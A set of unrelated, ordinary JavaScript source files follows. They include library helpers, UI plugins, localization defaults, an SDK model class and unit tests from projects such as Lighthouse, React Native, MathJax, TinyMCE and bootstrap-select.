'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); var _lodash = require('lodash'); var _lodash2 = _interopRequireDefault(_lodash); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } exports.default = function (identifierNode, context) { if (_lodash2.default.has(identifierNode, 'name')) { return identifierNode.name; } if (_lodash2.default.has(identifierNode, 'left.name')) { return identifierNode.left.name; } if (_lodash2.default.has(identifierNode, 'key.name')) { return identifierNode.key.name; } if (identifierNode.type === 'RestElement') { return identifierNode.argument.name; } if (identifierNode.type === 'ObjectTypeProperty') { var tokenIndex = void 0; tokenIndex = 0; if (identifierNode.static) { tokenIndex++; } if (identifierNode.variance) { tokenIndex++; } if (identifierNode.kind === 'set' || identifierNode.kind === 'get') { tokenIndex++; } return context.getSourceCode().getFirstToken(identifierNode, tokenIndex).value; } if (identifierNode.type === 'ObjectTypeIndexer') { var _tokenIndex = void 0; _tokenIndex = 0; if (identifierNode.static) { _tokenIndex++; } if (identifierNode.variance) { _tokenIndex++; } _tokenIndex++; var id = context.getSourceCode().getFirstToken(identifierNode, _tokenIndex); var colonOrBrace = context.getSourceCode().getTokenAfter(id); if (colonOrBrace.value === ':') { return id.value; } else { return null; } } if (identifierNode.type === 'FunctionTypeParam') { return context.getSourceCode().getFirstToken(identifierNode).value; } if (identifierNode.type === 'ObjectPattern' || identifierNode.type === 'ArrayPattern') { var text = context.getSourceCode().getText(identifierNode); if (identifierNode.typeAnnotation) { return text.replace(context.getSourceCode().getText(identifierNode.typeAnnotation), '').trim(); } else { return text; } } if (_lodash2.default.get(identifierNode, 'left.type') === 'ObjectPattern') { return context.getSourceCode().getText(identifierNode.left); } return null; }; module.exports = exports.default;
// TODO: remove from `core-js@4` require('../../../modules/esnext.string.match-all'); var parent = require('../../../stable/string/virtual/match-all'); module.exports = parent;
/** * @license Copyright 2017 The Lighthouse Authors. All Rights Reserved. * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ 'use strict'; /** * @fileoverview Ensures <img> elements have alternate text or a role of none or presentation. * See base class in axe-audit.js for audit() implementation. */ const AxeAudit = require('./axe-audit.js'); const i18n = require('../../lib/i18n/i18n.js'); const UIStrings = { /** Title of an accesibility audit that evaluates if all image elements have the alt HTML attribute to describe their contents. This title is descriptive of the successful state and is shown to users when no user action is required. */ title: 'Image elements have `[alt]` attributes', /** Title of an accesibility audit that evaluates if all image elements have the alt HTML attribute to describe their contents. This title is descriptive of the failing state and is shown to users when there is a failure that needs to be addressed. */ failureTitle: 'Image elements do not have `[alt]` attributes', /** Description of a Lighthouse audit that tells the user *why* they should try to pass. This is displayed after a user expands the section to see more. No character length limits. 'Learn More' becomes link text to additional documentation. */ description: 'Informative elements should aim for short, descriptive alternate text. ' + 'Decorative elements can be ignored with an empty alt attribute. ' + '[Learn more](https://web.dev/image-alt/).', }; const str_ = i18n.createMessageInstanceIdFn(__filename, UIStrings); class ImageAlt extends AxeAudit { /** * @return {LH.Audit.Meta} */ static get meta() { return { id: 'image-alt', title: str_(UIStrings.title), failureTitle: str_(UIStrings.failureTitle), description: str_(UIStrings.description), requiredArtifacts: ['Accessibility'], }; } } module.exports = ImageAlt; module.exports.UIStrings = UIStrings;
export const cschDocs = { name: 'csch', category: 'Trigonometry', syntax: [ 'csch(x)' ], description: 'Compute the hyperbolic cosecant of x in radians. Defined as 1/sinh(x)', examples: [ 'csch(2)', '1 / sinh(2)' ], seealso: [ 'sech', 'coth', 'sinh' ] }
goog.provide('ol.format.ogc.filter.Or'); goog.require('ol'); goog.require('ol.format.ogc.filter.LogicalBinary'); /** * @classdesc * Represents a logical `<Or>` operator between two filter conditions. * * @constructor * @param {!ol.format.ogc.filter.Filter} conditionA First filter condition. * @param {!ol.format.ogc.filter.Filter} conditionB Second filter condition. * @extends {ol.format.ogc.filter.LogicalBinary} * @api */ ol.format.ogc.filter.Or = function(conditionA, conditionB) { ol.format.ogc.filter.LogicalBinary.call(this, 'Or', conditionA, conditionB); }; ol.inherits(ol.format.ogc.filter.Or, ol.format.ogc.filter.LogicalBinary);
/******************************************************************************* Copyright (c) 2012, S-Core. All rights reserved. Use is subject to license terms. This distribution may include materials developed by third parties. ***************************************************************************** */ var __result1 = Math.pow(3, 4); var __expect1 = 81;
/** * Copyright (c) Facebook, Inc. and its affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. * * @format * @flow */ 'use strict'; const invariant = require('invariant'); import type EventSubscription from './_EventSubscription'; /** * EventSubscriptionVendor stores a set of EventSubscriptions that are * subscribed to a particular event type. */ class EventSubscriptionVendor { _subscriptionsForType: Object; _currentSubscription: ?EventSubscription; constructor() { this._subscriptionsForType = {}; this._currentSubscription = null; } /** * Adds a subscription keyed by an event type. * * @param {string} eventType * @param {EventSubscription} subscription */ addSubscription( eventType: string, subscription: EventSubscription, ): EventSubscription { invariant( subscription.subscriber === this, 'The subscriber of the subscription is incorrectly set.', ); if (!this._subscriptionsForType[eventType]) { this._subscriptionsForType[eventType] = []; } const key = this._subscriptionsForType[eventType].length; this._subscriptionsForType[eventType].push(subscription); subscription.eventType = eventType; subscription.key = key; return subscription; } /** * Removes a bulk set of the subscriptions. * * @param {?string} eventType - Optional name of the event type whose * registered supscriptions to remove, if null remove all subscriptions. */ removeAllSubscriptions(eventType: ?string) { if (eventType === undefined) { this._subscriptionsForType = {}; } else { delete this._subscriptionsForType[eventType]; } } /** * Removes a specific subscription. Instead of calling this function, call * `subscription.remove()` directly. * * @param {object} subscription */ removeSubscription(subscription: Object) { const eventType = subscription.eventType; const key = subscription.key; const subscriptionsForType = this._subscriptionsForType[eventType]; if (subscriptionsForType) { delete subscriptionsForType[key]; } } /** * Returns the array of subscriptions that are currently registered for the * given event type. * * Note: This array can be potentially sparse as subscriptions are deleted * from it when they are removed. * * TODO: This returns a nullable array. wat? * * @param {string} eventType * @returns {?array} */ getSubscriptionsForType(eventType: string): ?[EventSubscription] { return this._subscriptionsForType[eventType]; } } module.exports = EventSubscriptionVendor;
/* * /MathJax/jax/output/SVG/fonts/TeX/Fraktur/Bold/Main.js * * Copyright (c) 2009-2015 The MathJax Consortium * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ MathJax.OutputJax.SVG.FONTDATA.FONTS["MathJax_Fraktur-bold"]={directory:"Fraktur/Bold",family:"MathJax_Fraktur",id:"MJFRAKB",weight:"bold",Ranges:[[0,127,"BasicLatin"],[128,57343,"Other"],[58112,58128,"PUA"]]};MathJax.Ajax.loadComplete(MathJax.OutputJax.SVG.fontDir+"/Fraktur/Bold/Main.js");
// Next-generation ES6 module bundler var gulp = require('gulp'), paths = require('./config/paths'), plumber = require('gulp-plumber'), rollup = require('gulp-rollup'), babel = require('rollup-plugin-babel'), rename = require('gulp-rename'); // Bundle ES6 modules. gulp.task('rollup:main', function() { return gulp.src(paths.dev.js + '/**/*.js') .pipe(plumber()) .pipe(rollup({ format: 'umd', entry: [ paths.dev.js + '/body.js', paths.dev.js + '/head.js' ], plugins: [ babel({ exclude: 'node_modules/**', presets: ['@babel/preset-env'], babelrc: false }) ] })) .pipe(rename({suffix: '.min'})) .pipe(gulp.dest(paths.build.js)); });
/* * Copyright (c) Microsoft Corporation. All rights reserved. * Licensed under the MIT License. See License.txt in the project root for * license information. * * Code generated by Microsoft (R) AutoRest Code Generator. * Changes may cause incorrect behavior and will be lost if the code is * regenerated. */ 'use strict'; var util = require('util'); /** * @class * Initializes a new instance of the ApplicationGatewaySslPolicy class. * @constructor * Application gateway SSL policy * * @member {array} [disabledSslProtocols] SSL protocols to be disabled on * Application Gateway * */ function ApplicationGatewaySslPolicy() { } /** * Defines the metadata of ApplicationGatewaySslPolicy * * @returns {object} metadata of ApplicationGatewaySslPolicy * */ ApplicationGatewaySslPolicy.prototype.mapper = function () { return { required: false, serializedName: 'ApplicationGatewaySslPolicy', type: { name: 'Composite', className: 'ApplicationGatewaySslPolicy', modelProperties: { disabledSslProtocols: { required: false, serializedName: 'disabledSslProtocols', type: { name: 'Sequence', element: { required: false, serializedName: 'StringElementType', type: { name: 'String' } } } } } } }; }; module.exports = ApplicationGatewaySslPolicy;
(function(){$(function(){return console.log("hello")})}).call(this);
/*! * Bootstrap-select v1.13.9 (https://developer.snapappointments.com/bootstrap-select) * * Copyright 2012-2019 SnapAppointments, LLC * Licensed under MIT (https://github.com/snapappointments/bootstrap-select/blob/master/LICENSE) */ (function (root, factory) { if (root === undefined && window !== undefined) root = window; if (typeof define === 'function' && define.amd) { // AMD. Register as an anonymous module unless amdModuleId is set define(["jquery"], function (a0) { return (factory(a0)); }); } else if (typeof module === 'object' && module.exports) { // Node. Does not work with strict CommonJS, but // only CommonJS-like environments that support module.exports, // like Node. module.exports = factory(require("jquery")); } else { factory(root["jQuery"]); } }(this, function (jQuery) { (function ($) { $.fn.selectpicker.defaults = { noneSelectedText: 'Chưa chọn', noneResultsText: 'Không có kết quả cho {0}', countSelectedText: function (numSelected, numTotal) { return '{0} mục đã chọn'; }, maxOptionsText: function (numAll, numGroup) { return [ 'Không thể chọn (giới hạn {n} mục)', 'Không thể chọn (giới hạn {n} mục)' ]; }, selectAllText: 'Chọn tất cả', deselectAllText: 'Bỏ chọn', multipleSeparator: ', ' }; })(jQuery); })); //# sourceMappingURL=defaults-vi_VN.js.map
/** * Created by patricepaquette on 12/17/2013. */ angular.module("common") .directive('lazyLoad', ['$window', '$q', function ($window, $q) { function load_script(src) { var s = document.createElement('script'); // use global document since Angular's $document is weak s.src = src; document.body.appendChild(s); } function lazyLoadApi(src) { var deferred = $q.defer(); $window.initialize = function () { deferred.resolve(); }; // thanks to Emil Stenström: http://friendlybit.com/js/lazy-loading-asyncronous-javascript/ if ($window.attachEvent) { $window.attachEvent('onload', function(){ load_script(src); }); } else { $window.addEventListener('load', function(){ load_script(src); }, false); } return deferred.promise; } return { restrict: 'E', scope: { src: "@src" }, link: function (scope, element, attrs) { // function content is optional // in this example, it shows how and when the promises are resolved if ($window.google && $window.google.maps) { } else { lazyLoadApi().then(function () { //console.log('promise resolved'); if ($window.google && $window.google.maps) { //console.log('gmaps loaded'); } else { //console.log('gmaps not loaded'); } }, function () { //console.log('promise rejected'); }); } } }; }]);
/** * $Id: editor_plugin_src.js,v 1.1 2012/11/16 23:22:25 delara Exp $ * * @author Moxiecode * @copyright Copyright © 2004-2008, Moxiecode Systems AB, All rights reserved. */ (function() { tinymce.create('tinymce.plugins.Preview', { init : function(ed, url) { var t = this; t.editor = ed; ed.addCommand('mcePreview', t._preview, t); ed.addButton('preview', {title : 'preview.preview_desc', cmd : 'mcePreview'}); }, getInfo : function() { return { longname : 'Preview', author : 'Moxiecode Systems AB', authorurl : 'http://tinymce.moxiecode.com', infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/preview', version : tinymce.majorVersion + "." + tinymce.minorVersion }; }, // Private methods _preview : function() { var ed = this.editor, win, html, c, pos, pos2, css, i, page = ed.getParam("plugin_preview_pageurl", null), w = ed.getParam("plugin_preview_width", "550"), h = ed.getParam("plugin_preview_height", "600"); // Use a custom preview page if (page) { ed.windowManager.open({ file : ed.getParam("plugin_preview_pageurl", null), width : w, height : h }, { resizable : "yes", scrollbars : "yes", inline : 1 }); } else { win = window.open("", "mcePreview", "menubar=no,toolbar=no,scrollbars=yes,resizable=yes,left=20,top=20,width=" + w + ",height=" + h); html = ""; c = ed.getContent(); pos = c.indexOf('<body'); css = ed.getParam("content_css", '').split(','); tinymce.map(css, function(u) { return ed.documentBaseURI.toAbsolute(u); }); if (pos != -1) { pos = c.indexOf('>', pos); pos2 = c.lastIndexOf('</body>'); c = c.substring(pos + 1, pos2); } html += ed.getParam('doctype'); html += '<html xmlns="http://www.w3.org/1999/xhtml">'; html += '<head>'; html += '<title>' + ed.getLang('preview.preview_desc') + '</title>'; html += '<base href="' + ed.documentBaseURI.getURI() + '" />'; html += '<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />'; for (i=0; i<css.length; i++) html += '<link href="' + css[i] + '" rel="stylesheet" type="text/css" />'; html += '</head>'; html += '<body dir="' + ed.getParam("directionality") + '" onload="window.opener.tinymce.EditorManager.get(\'' + ed.id + '\').plugins[\'preview\']._onLoad(window,document);">'; html += c; html += '</body>'; html += '</html>'; win.document.write(html); win.document.close(); } }, _onLoad : function(w, d) { var t = this, nl, i, el = [], sv, ne; t._doc = d; w.writeFlash = t._writeFlash; w.writeShockWave = t._writeShockWave; w.writeQuickTime = t._writeQuickTime; w.writeRealMedia = t._writeRealMedia; w.writeWindowsMedia = t._writeWindowsMedia; w.writeEmbed = t._writeEmbed; nl = d.getElementsByTagName("script"); for (i=0; i<nl.length; i++) { sv = tinymce.isIE ? nl[i].innerHTML : nl[i].firstChild.nodeValue; if (new RegExp('write(Flash|ShockWave|WindowsMedia|QuickTime|RealMedia)\\(.*', 'g').test(sv)) el[el.length] = nl[i]; } for (i=0; i<el.length; i++) { ne = d.createElement("div"); ne.innerHTML = d._embeds[i]; el[i].parentNode.insertBefore(ne.firstChild, el[i]); } }, _writeFlash : function(p) { p.src = this.editor.documentBaseURI.toAbsolute(p.src); TinyMCE_PreviewPlugin._writeEmbed( 'D27CDB6E-AE6D-11cf-96B8-444553540000', 'http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0', 'application/x-shockwave-flash', p ); }, _writeShockWave : function(p) { this.editor.documentBaseURI.toAbsolute(p.src); TinyMCE_PreviewPlugin._writeEmbed( '166B1BCA-3F9C-11CF-8075-444553540000', 'http://download.macromedia.com/pub/shockwave/cabs/director/sw.cab#version=8,5,1,0', 'application/x-director', p ); }, _writeQuickTime : function(p) { this.editor.documentBaseURI.toAbsolute(p.src); TinyMCE_PreviewPlugin._writeEmbed( '02BF25D5-8C17-4B23-BC80-D3488ABDDC6B', 'http://www.apple.com/qtactivex/qtplugin.cab#version=6,0,2,0', 'video/quicktime', p ); }, _writeRealMedia : function(p) { this.editor.documentBaseURI.toAbsolute(p.src); TinyMCE_PreviewPlugin._writeEmbed( 'CFCDAA03-8BE4-11cf-B84B-0020AFBBCCFA', 'http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0', 'audio/x-pn-realaudio-plugin', p ); }, _writeWindowsMedia : function(p) { this.editor.documentBaseURI.toAbsolute(p.src); p.url = p.src; TinyMCE_PreviewPlugin._writeEmbed( '6BF52A52-394A-11D3-B153-00C04F79FAA6', 'http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab#Version=5,1,52,701', 'application/x-mplayer2', p ); }, _writeEmbed : function(cls, cb, mt, p) { var h = '', n, d = t._doc, ne, c; h += '<object classid="clsid:' + cls + '" codebase="' + cb + '"'; h += typeof(p.id) != "undefined" ? 'id="' + p.id + '"' : ''; h += typeof(p.name) != "undefined" ? 'name="' + p.name + '"' : ''; h += typeof(p.width) != "undefined" ? 'width="' + p.width + '"' : ''; h += typeof(p.height) != "undefined" ? 'height="' + p.height + '"' : ''; h += typeof(p.align) != "undefined" ? 'align="' + p.align + '"' : ''; h += '>'; for (n in p) h += '<param name="' + n + '" value="' + p[n] + '">'; h += '<embed type="' + mt + '"'; for (n in p) h += n + '="' + p[n] + '" '; h += '></embed></object>'; d._embeds[d._embeds.length] = h; } }); // Register plugin tinymce.PluginManager.add('preview', tinymce.plugins.Preview); })();
// jsonCall: a jQuery plugin that makes it easy to make an API // request to a URL with JSON in BOTH directions. // // Copyright 2013 P'unk Avenue LLC // // Please see: // // https://github.com/punkave/jquery-json-call // // For complete documentation. (function( $ ) { // This is correct - we're adding a function called directly // like $.get or $.ajax, not a function that operates on // elements $.jsonCall = function(url, options, data, success, failure) { if (typeof(data) === 'function') { // No options argument passed, shift the others over failure = success; success = data; data = options; options = undefined; } options = options || {}; var ajax = $.ajax({ type: 'POST', url: url, processData: false, contentType: 'application/json', data: JSON.stringify(data), dataType: options.dataType || 'json', success: success, async: options.async, }); if (failure) { ajax.fail(failure); } }; })( jQuery );
registerTest ('Has a UTF-8 meta tag', function () { this .test('Do we have a UTF8 meta tag?', function($) { var sourceCode = this.page.source.toLowerCase(); // do we have an utf8 metatag ? notEqual(sourceCode.indexOf('<meta charset="utf-8">'),-1,'Has UTF-8 meta tag'); }); });
angular.module('ngCordova.plugins.deviceOrientation', []) .factory('$cordovaDeviceOrientation', ['$q', function($q) { return { getCurrentHeading: function() { var q = $q.defer(); navigator.compass.getCurrentHeading(function(heading) { q.resolve(heading); }, function(err) { q.reject(err); }); return q.promise; }, watchHeading: function(options) { var q = $q.defer(); var watchId = navigator.compass.watchHeading(function(result) { q.notify(result); }, function(err) { q.reject(err); }, options); return { watchId: watchId, promise: q.promise } }, clearWatch: function(watchID) { navigator.compass.clearWatch(); } } }]);
/* * modified version of https://github.com/valor-software/prismjs-loader * * The MIT License (MIT) * * Copyright (c) 2015-2016 Valor Software * Copyright (c) 2015-2016 Dmitriy Shekhovtsov<valorkin@gmail.com> * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ "use strict"; const Prism = require("prismjs"); module.exports = function loader(content) { const query = this.query; if (!query.lang) { throw new Error("You need to provide `lang` query parameter"); } if (!Prism.languages[query.lang]) { /* eslint-disable */ require(`prismjs/components/prism-${query.lang}.js`); /* eslint-enable */ } const lang = Prism.languages[query.lang]; const value = Prism.highlight(content, lang); const str = JSON.stringify(value); return `module.exports = ${str}`; }; module.exports.seperable = true;
/* global suite, test */ 'use strict'; var assert = require('assert'); var Table = require(__dirname + '/../lib/table'); var Column = require(__dirname + '/../lib/column'); suite('table', function() { var table = new Table({ name: 'bang' }); test('has name', function() { assert.equal(table.getName(), 'bang'); }); test('has no columns', function() { assert.equal(table.columns.length, 0); }); test('can add column', function() { var col = new Column({ table: table, name: 'boom' }); assert.equal(col.name, 'boom'); assert.equal(col.table.getName(), 'bang'); table.addColumn(col); assert.equal(table.columns.length, 1); assert.equal(table.boom, col); }); test('creates query node', function() { var sel = table.select(table.boom); assert.equal(sel.type, 'QUERY'); }); test('creates *-query if no args is provided to select()', function() { var sel = table.select(); assert.ok(sel.nodes[0].nodes[0].star); }); test('can be defined', function() { var user = Table.define({ name: 'user', columns: ['id', 'name'] }); assert.equal(user.getName(), 'user'); assert.equal(user.columns.length, 2); assert.equal(user.columns[0].name, 'id'); assert.equal(user.columns[1].name, 'name'); assert.equal(user.columns[0].name, user.id.name); assert.equal(user.id.table, user); assert.equal(user.name.table, user); }); }); test('table with user-defined column property names', function () { var table = Table.define({ name: 'blah', columns: [{ name: 'id', property: 'theId' }, { name: 'email', property: 'uniqueEmail' }] }); var cols = table.columns; assert.equal(cols.length, 2); assert.equal(cols[0].name, 'id'); assert(cols[0] === table.theId, 'Expected table.theId to be the first column'); assert(table.id === undefined, 'Expected table.id to not exist'); assert.equal(cols[1].name, 'email'); assert(cols[1] === table.uniqueEmail, 'Expected table.uniqueEmail to be the second column'); assert(table.email === undefined, 'Expected table.email to not exist'); }); test('table with fancier column definitions', function() { var table = Table.define({ name: 'blah', columns: [{ name: 'id', type: 'serial', notNull: true, primaryKey: true }, { name: 'email', type: 'text', notNull: true, unique: true, anythingYouWant: 'awesome' }] }); var cols = table.columns; assert.equal(cols.length, 2); var id = cols[0]; assert.equal(id.name, 'id'); assert.equal(id.type, 'serial'); assert.equal(id.notNull, true); assert.equal(id.primaryKey, true); var email = cols[1]; assert.equal(email.name, 'email'); assert.equal(email.type, 'text'); assert.equal(email.notNull, true); assert.equal(email.unique, true); assert.equal(email.anythingYouWant, 'awesome'); }); test('table with object structured column definitions', function() { var table = Table.define({ name: 'blah', columns: { id: { type: 'serial', notNull: true, primaryKey: true }, email: { type: 'text', notNull: true, unique: true, anythingYouWant: 'awesome' } } }); var cols = table.columns; assert.equal(cols.length, 2); var id = cols[0]; assert.equal(id.name, 'id'); assert.equal(id.type, 'serial'); assert.equal(id.notNull, true); assert.equal(id.primaryKey, true); var email = cols[1]; assert.equal(email.name, 'email'); assert.equal(email.type, 'text'); assert.equal(email.notNull, true); assert.equal(email.unique, true); assert.equal(email.anythingYouWant, 'awesome'); }); test('table with dynamic column definition', function() { var table = Table.define({ name: 'foo', columns: [] }); assert.equal(table.columns.length, 0); table.addColumn('foo'); assert.equal(table.columns.length, 1); var error = null; assert.throws(function() { table.addColumn('foo'); }); assert.doesNotThrow(function() { table.addColumn('foo', { noisy: false }); }); assert.equal(table.columns.length, 1); }); test('hasColumn', function() { var table = Table.define({ name: 'foo', columns: [] }); assert.equal(table.hasColumn('baz'), false); table.addColumn('baz'); assert.equal(table.hasColumn('baz'), true); }); test('the column "from" does not overwrite the from method', function() { var table = Table.define({ name: 'foo', columns: [] }); table.addColumn('from'); assert.equal(typeof table.from, 'function'); }); test('getColumn returns the from column', function() { var table = Table.define({ name: 'foo', columns: [] }); table.addColumn('from'); assert(table.getColumn('from') instanceof Column); assert(table.get('from') instanceof Column); });
(function($) { /** * Example module implementation. * * @author * @namespace Tc.Module * @class Default * @extends Tc.Module */ Tc.Module.Example = Tc.Module.extend({ /** * Initializes the Example module. * * @method init * @constructor * @param {jQuery|Zepto} $ctx the jquery context * @param {Sandbox} sandbox the sandbox to get the resources from * @param {String} modId the unique module id */ init: function($ctx, sandbox, modId) { // call base constructor this._super($ctx, sandbox, modId); }, /** * Hook function to do all of your module stuff. * * @method on * @param {Function} callback function * @return void */ on: function(callback) { this.$ctx.append('\n<br><span class="debug">JS Module &quot;example&quot; started</span>'); callback(); }, /** * Hook function to trigger your events. * * @method after * @return void */ after: function() { } }); })(Tc.$);